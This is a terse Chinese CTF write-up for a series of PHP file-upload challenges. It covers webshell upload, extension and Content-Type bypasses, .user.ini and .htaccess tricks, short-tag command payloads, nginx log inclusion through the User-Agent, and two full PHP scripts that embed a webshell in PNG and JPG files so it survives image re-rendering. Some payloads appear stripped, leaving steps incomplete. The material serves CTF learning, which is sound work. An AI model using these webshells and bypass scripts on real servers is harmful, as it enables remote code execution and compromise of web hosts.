前端校验
修改上传格式为php,上传一句话马,蚁剑连接得flag
后端校验
上传一句话,png文件抓包
修改文件名后缀为php,访问被解析,蚁剑连接得flag。
打开发现/upload下存在index.php文件,我们可以利用.user.ini,可参阅.htaccess 和.user.ini 配置文件妙用
php手册—关于php.ini配置项
前端把后缀限制去掉,accept改为file,上传user.ini
Content-Type修改为image/png
上传1.txt文件也能成功
蚁剑连接得flag。
上题做法提示文件内容不合规,我们在文件头添加GIF89a还是不行,经过了一番尝试…发现过滤了php,那我们使用短标签
蚁剑连接得flag。
在之前的基础上又过滤了[]
,可以用{}
代替。
过滤了;
和{
,直接命令执行可以了
<?=`tac ../fl*`?>
和上题做法一样
<?=`tac ../fl*`?>
依旧可以
<?=`tac ../fl*`?>
日志包含绕过
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
先上传一个.user.ini
文件,之后上传一个txt
文件,内容为=include"/var/lo"."g/nginx/access.lo"."g"?>
考虑到过滤log,之后User-Agent修改为蚁剑连接得flag。
上传ini文件时加上GIF89A
修改User-Agent为,蚁剑连接得flag。
先放这…
二次渲染绕过
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
$_GET[0]($_POST[1]);?>
*/
?>
jpg图片二次渲染绕过
$miniPayload = "";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php ' );
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
# 用法 php exp.php a.png
前端要求上传zip格式,我们可以直接包含一句话
修改Content-Type为application/x-zip-compressed
AddType application/x-httpd-php .png //将.png后缀的文件解析 成php
基础免杀
上传png抓包,修改文件格式为php,在文件后面执行命令
发现flag在上层目录里,直接rce
先上传一个index.php,然后利用日志包含,上传.user.ini
UA包含一句话,蚁剑连接。
同上题。